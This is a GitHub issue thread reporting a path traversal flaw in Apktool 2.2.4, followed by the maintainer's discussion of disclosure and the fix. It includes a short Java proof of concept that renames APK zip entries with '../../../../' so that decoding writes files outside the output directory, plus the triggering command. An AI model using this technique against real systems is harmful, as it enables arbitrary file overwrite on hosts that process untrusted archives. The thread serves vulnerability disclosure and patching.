New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security issue] Possibility to write files outside specified directory via path traversal #1589

Closed
sergey-wowwow opened this Issue Aug 14, 2017 · 5 comments

Comments

Projects
None yet
2 participants
@sergey-wowwow

sergey-wowwow commented Aug 14, 2017

Information

  1. Apktool Version (apktool -version) - 2.2.4
  2. Operating System (Mac, Linux, Windows) - Windows
  3. APK From? (Playstore, ROM, Other) - Repacked apk from Playstore

Steps to Reproduce

Hi, I've repacked APK via the following code:

	public static void main(String[] args) throws Exception {
		File zipFile = new File("output.apk");
		ZipOutputStream fos = new ZipOutputStream(new FileOutputStream(zipFile));

		ZipInputStream zin = new ZipInputStream(new FileInputStream("input.apk"));
		ZipEntry entry = zin.getNextEntry();
		while (entry != null) {
			String name = entry.getName();
			if(!(name.contains("classes") || name.contains("AndroidManifest") || name.contains(".arsc") || name.contains("res/") )) {
				File temp = new File(name);
				name = (temp.getParent() != null ? temp.getParent().replace('\\', '/') + "/" : "")
						+ "../../../../" + temp.getName();
				System.out.println(name);
			}
			ZipEntry zipEntry = new ZipEntry(name);
			fos.putNextEntry(zipEntry);
			IOUtils.copy(zin, fos);
			fos.closeEntry();
			entry = zin.getNextEntry();
		}
		zin.close();
		fos.close();
	}

It's clear. Just rename entries in the APK (= ZIP), by appending "../../../../" to any files except sources and manifest. Than run command:

..\bin\apktool\apktool.bat d wow.apk --output out1/out2/out3/out4

And I see that multiple files were written to out1.

This issue is pretty dangerous and can be used against apktool if it works on the server-side. Please don't allow writing outside specified directory, calculate canonical path of a file which you're going to save and verify that it belongs to the specified directory

@iBotPeaches iBotPeaches added this to the 2.2.5 milestone Aug 14, 2017

@iBotPeaches

This comment has been minimized.

Show comment
Hide comment
@iBotPeaches

iBotPeaches Aug 14, 2017

Owner

While I don't have anything in the readme about security related issues, usually it is the right thing to do to disclose those in private vs a public bug tracker. Not a very responsible thing to do.

It sounds like I patched this recently with malicious files that were unknown to Android, but it seems you are talking about known files like classes.dex or something.

Owner

iBotPeaches commented Aug 14, 2017

While I don't have anything in the readme about security related issues, usually it is the right thing to do to disclose those in private vs a public bug tracker. Not a very responsible thing to do.

It sounds like I patched this recently with malicious files that were unknown to Android, but it seems you are talking about known files like classes.dex or something.

@sergey-wowwow

This comment has been minimized.

Show comment
Hide comment
@sergey-wowwow

sergey-wowwow Aug 14, 2017

No, I used it against unknown files (because apktool was throwing errors when it was used against resources and dex files). Maybe there is a way to exploit it again known ones, but it requires to deeply learn how apktool works. Provided exploit by me is really easy.

But anyway, if you see that a zip entry contains any traversals like /./ or /../, isn't it simpler to canonize the entry path and if it points outside root, just skip it?

sergey-wowwow commented Aug 14, 2017

No, I used it against unknown files (because apktool was throwing errors when it was used against resources and dex files). Maybe there is a way to exploit it again known ones, but it requires to deeply learn how apktool works. Provided exploit by me is really easy.

But anyway, if you see that a zip entry contains any traversals like /./ or /../, isn't it simpler to canonize the entry path and if it points outside root, just skip it?

@sergey-wowwow

This comment has been minimized.

Show comment
Hide comment
@sergey-wowwow

sergey-wowwow Aug 14, 2017

@iBotPeaches I didn't find any contact emails in README, your apktool site, your github profile or in your personal site. Where I supposed to report this bug? Obviously public bug tracker is the only option

sergey-wowwow commented Aug 14, 2017

@iBotPeaches I didn't find any contact emails in README, your apktool site, your github profile or in your personal site. Where I supposed to report this bug? Obviously public bug tracker is the only option

@iBotPeaches

This comment has been minimized.

Show comment
Hide comment
@iBotPeaches

iBotPeaches Aug 14, 2017

Owner

Based on the 3-8 emails I get a day about Apktool, I'm not sure how people are finding my email then. I will make it more explicit to ensure future security related reports have an avenue to report.

As for the reported issue. I won't have time to look into it today, but I will try and make time when I have a chance.

Owner

iBotPeaches commented Aug 14, 2017

Based on the 3-8 emails I get a day about Apktool, I'm not sure how people are finding my email then. I will make it more explicit to ensure future security related reports have an avenue to report.

As for the reported issue. I won't have time to look into it today, but I will try and make time when I have a chance.

iBotPeaches added a commit that referenced this issue Sep 3, 2017

@iBotPeaches

This comment has been minimized.

Show comment
Hide comment
@iBotPeaches

iBotPeaches Sep 3, 2017

Owner

Seems the safest solution is to skip any file with relative paths in it. At first I started normalizing the directory structure within the scope of the executed directory, but this led to applications that were built 1 way, rebuilt another.

Granted, they are rebuilt without those files as well (this time), because of being skipped. It is far less code to maintain/understand. PR above

Owner

iBotPeaches commented Sep 3, 2017

Seems the safest solution is to skip any file with relative paths in it. At first I started normalizing the directory structure within the scope of the executed directory, but this led to applications that were built 1 way, rebuilt another.

Granted, they are rebuilt without those files as well (this time), because of being skipped. It is far less code to maintain/understand. PR above

@iBotPeaches iBotPeaches self-assigned this Sep 3, 2017

@iBotPeaches iBotPeaches closed this in #1607 Sep 19, 2017

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment